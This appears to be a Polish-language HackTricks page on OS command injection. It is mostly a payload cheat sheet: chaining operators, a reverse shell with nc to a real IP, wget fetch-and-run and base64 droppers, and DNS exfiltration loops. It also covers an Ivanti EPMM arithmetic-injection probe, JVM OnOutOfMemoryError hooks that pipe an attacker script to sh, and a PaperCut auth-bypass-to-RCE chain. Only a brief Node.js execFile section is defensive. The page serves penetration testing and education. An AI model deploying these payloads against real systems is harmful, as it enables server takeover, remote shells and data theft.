Command Injection

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks

Czym jest command Injection?

A command injection pozwala atakującemu na wykonanie dowolnych poleceń systemu operacyjnego na serwerze hostującym aplikację. W efekcie aplikacja i wszystkie jej dane mogą zostać całkowicie przejęte. Wykonanie tych poleceń zwykle umożliwia atakującemu nieautoryzowany dostęp lub kontrolę nad środowiskiem aplikacji i nad systemem, na którym ona działa.

Kontekst

W zależności od tego, gdzie twoje dane wejściowe są wstrzykiwane, może być konieczne zamknięcie cytowanego kontekstu (używając " lub ') przed poleceniami.

Command Injection/Execution

#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a   # (Combining new lines and tabs)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command

PHP silniki reguł z włączonym runkit

Niektóre aplikacje implementują dostępne tylko dla administratora “silniki reguł” poprzez wykonywanie PHP dostarczonego przez atakującego. Jeśli środowisko ma włączone rozszerzenie runkit, atakujący może redefiniować lub wstrzykiwać funkcje w czasie wykonywania i eskalować edytor reguł ograniczony do logiki do pełnego PHP RCE.

Wskaźniki:

  • UI administratora akceptuje reguły przypominające PHP, które są wykonywane.
  • runkit / runkit7 jest załadowany (phpinfo() lub extension_loaded('runkit')).

Przykład nadużycia (ponowne zdefiniowanie funkcji używanej przez reguły, aby wykonać polecenie):

<?php
runkit_function_redefine('checkBid', '$bid', 'system($_GET["cmd"]); return true;');

Jeśli zawartość reguły jest przechowywana i oceniana później, staje się trwałym prymitywem RCE w kontekście webowym.

Ograniczenia Bypasses

Jeśli próbujesz wykonać dowolne polecenia na maszynie linux zainteresuje Cię lektura o tych Bypasses:

Bypass Linux Restrictions

Przykłady

vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay

Ewaluacja arytmetyczna Bash w RewriteMap/CGI-style skryptach

RewriteMap helpery napisane w bash czasami przenoszą parametry zapytania do zmiennych globalnych, a później porównują je w kontekstach arytmetycznych ([[ $a -gt $b ]], $((...)), let). Rozwinięcie arytmetyczne ponownie tokenizuje zawartość, więc sterowane przez atakującego nazwy zmiennych lub odwołania do tablic są rozwijane dwukrotnie i mogą zostać wykonane.

Wzorzec zaobserwowany w Ivanti EPMM RewriteMap helperach:

  1. Parametry mapowane na globalne (stgStartTime, htheValue).
  2. Późniejsza weryfikacja:
if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]]; then
...
fi
  1. Wyślij st=theValue, aby gStartTime wskazywał na string theValue.
  2. Wyślij h=gPath['sleep 5'], tak że theValue zawiera indeks tablicy; podczas sprawdzenia arytmetycznego wykona się sleep 5 (zamień na prawdziwy payload).

Sonda (~5s opóźnienia, potem 404 jeśli podatne):

curl -k "https://TARGET/mifs/c/appstore/fob/ANY?st=theValue&h=gPath['sleep 5']"

Uwaga:

  • Szukaj tego samego helpera pod innymi prefiksami (np. /mifs/c/aftstore/fob/).
  • Konteksty arytmetyczne traktują nieznane tokeny jako identyfikatory zmiennych/tablic, więc to omija proste filtry metaznaków.

Parametry

Oto 25 najważniejszych parametrów, które mogą być podatne na code injection i podobne podatności RCE (z link):

?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}

Time based data exfiltration

Ekstrakcja danych: char by char

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s

Egzfiltracja danych przez DNS

Oparte na narzędziu z https://github.com/HoLyVieR/dnsbin, także hostowanym na dnsbin.zhack.ca

1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)

Narzędzia online do sprawdzania DNS based data exfiltration:

  • dnsbin.zhack.ca
  • pingb.in

Filtering bypass

Windows

powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc

Linux

Bypass Linux Restrictions

Node.js child_process.exec vs execFile

Podczas audytu backendów JavaScript/TypeScript często natkniesz się na Node.js child_process API.

// Vulnerable: user-controlled variables interpolated inside a template string
const { exec } = require('child_process');
exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(payload)}'`, (err, stdout) => {
/* … */
});

exec() uruchamia shell (/bin/sh -c), dlatego każdy znak, który ma specjalne znaczenie dla shell (back-ticks, ;, &&, |, $(), …) spowoduje command injection, gdy dane wejściowe użytkownika są łączone w ciąg.

Mitigacja: użyj execFile() (lub spawn() bez opcji shell) i podaj każdy argument jako oddzielny element tablicy, dzięki czemu shell nie będzie używany:

const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
'--id_user', id_user,
'--payload', JSON.stringify(payload)
]);

Real-world case: Synology Photos ≤ 1.7.0-0794 był podatny na atak przez nieautoryzowane zdarzenie WebSocket, które umieszczało dane kontrolowane przez atakującego w id_user, które potem zostały osadzone w wywołaniu exec(), osiągając RCE (Pwn2Own Ireland 2024).

Argument/Option injection via leading hyphen (argv, no shell metacharacters)

Nie wszystkie wstrzyknięcia wymagają metaznaków powłoki. Jeśli aplikacja przekazuje nieufne ciągi jako argumenty do narzędzia systemowego (nawet używając execve/execFile i bez powłoki), wiele programów i tak zinterpretuje każdy argument zaczynający się od - lub -- jako opcję. Pozwala to atakującemu zmienić tryby działania, zmienić ścieżki wyjściowe lub wywołać niebezpieczne zachowania bez potrzeby uzyskania dostępu do powłoki.

Typowe miejsca, gdzie się to pojawia:

  • Wbudowane web UI/CGI handlers, które budują polecenia takie jak ping <user>, tcpdump -i <iface> -w <file>, curl <url>, etc.
  • Scentralizowane CGI routers (e.g., /cgi-bin/<something>.cgi with a selector parameter like topicurl=<handler>) gdzie wiele handlerów ponownie używa tego samego słabego walidatora.

Co spróbować:

  • Podaj wartości zaczynające się od -/--, aby zostały zinterpretowane jako flagi przez narzędzie docelowe.
  • Nadużyj flag, które zmieniają zachowanie lub zapisują pliki, na przykład:
  • ping: -f/-c 100000 aby obciążyć urządzenie (DoS)
  • curl: -o /tmp/x aby zapisać dowolne ścieżki, -K <url> aby załadować config kontrolowany przez atakującego
  • tcpdump: -G 1 -W 1 -z /path/script.sh aby osiągnąć wykonanie po rotacji w niebezpiecznych wrappers
  • Jeśli program obsługuje -- end-of-options, spróbuj obejść naiwne mitigacje, które dodają -- w złym miejscu.

Generic PoC shapes against centralized CGI dispatchers:

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# Flip options in a downstream tool via argv injection
topicurl=<handler>&param=-n

# Unauthenticated RCE when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

JVM diagnostic callbacks dla gwarantowanego exec

Każdy prymityw, który pozwala na inject JVM command-line arguments (_JAVA_OPTIONS, pliki konfiguracyjne launchera, pola AdditionalJavaArguments w desktop agents, itd.) można zamienić w niezawodne RCE bez modyfikowania bytecode aplikacji:

  1. Wymuś deterministyczny crash przez zmniejszenie metaspace lub heapu: -XX:MaxMetaspaceSize=16m (lub mały -Xmx). To gwarantuje OutOfMemoryError nawet podczas wczesnego bootstrapu.
  2. Dołącz hook błędu: -XX:OnOutOfMemoryError="<cmd>" lub -XX:OnError="<cmd>" wykonuje dowolne polecenie systemu operacyjnego za każdym razem, gdy JVM ulega awarii.
  3. Opcjonalnie dodaj -XX:+CrashOnOutOfMemoryError, aby uniknąć prób odzyskiwania i utrzymać payload one-shot.

Przykładowe payloads:

-XX:MaxMetaspaceSize=16m -XX:OnOutOfMemoryError="cmd.exe /c powershell -nop -w hidden -EncodedCommand <blob>"
-XX:MaxMetaspaceSize=12m -XX:OnOutOfMemoryError="/bin/sh -c 'curl -fsS https://attacker/p.sh | sh'"

Because these diagnostics are parsed by the JVM itself, no shell metacharacters are required and the command runs with the same integrity level as the launcher. Desktop IPC bugs that forward user-supplied JVM flags (see Localhost WebSocket abuse) therefore translate directly into OS command execution.

PaperCut NG/MF SetupCompleted auth bypass -> print scripting RCE

  • Podatne buildy NG/MF (np. 22.0.5 Build 63914) udostępniają /app?service=page/SetupCompleted; odwiedzenie tej strony i kliknięcie Login zwraca ważny JSESSIONID bez poświadczeń (omijanie uwierzytelniania w przebiegu konfiguracji).
  • W Options → Config Editor ustaw print-and-device.script.enabled=Y oraz print.script.sandboxed=N, aby włączyć skryptowanie drukarki i wyłączyć sandbox.
  • Na karcie drukarki Scripting włącz skrypt i pozostaw zdefiniowany printJobHook, aby uniknąć błędów walidacji, ale umieść payload poza funkcją, aby wykonał się natychmiast po kliknięciu Apply (nie jest potrzebne zadanie wydruku):
function printJobHook(inputs, actions) {}
cmd = ["bash","-c","curl http://attacker/hit"];
java.lang.Runtime.getRuntime().exec(cmd);
  • Zamień callback na reverse shell; jeśli UI/PoC nie obsługuje pipes/redirects, przygotuj payload jednym poleceniem, a uruchom go drugim żądaniem.
  • Horizon3’s CVE-2023-27350.py automatyzuje auth bypass, config flips, command execution, i rollback — uruchom go przez upstream proxy (np. proxychains → Squid), gdy serwis jest osiągalny tylko wewnętrznie.

Lista wykrywania brute-force

Auto_Wordlists/wordlists/command_injection.txt at main \xc2\xb7 carlospolop/Auto_Wordlists \xc2\xb7 GitHub

Referencje

Tip

Ucz się i ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Przeglądaj pełny katalog HackTricks Training dla ścieżek assessment (ARTA/GRTA/AzRTA) oraz Linux Hacking Expert (LHE).

Wsparcie HackTricks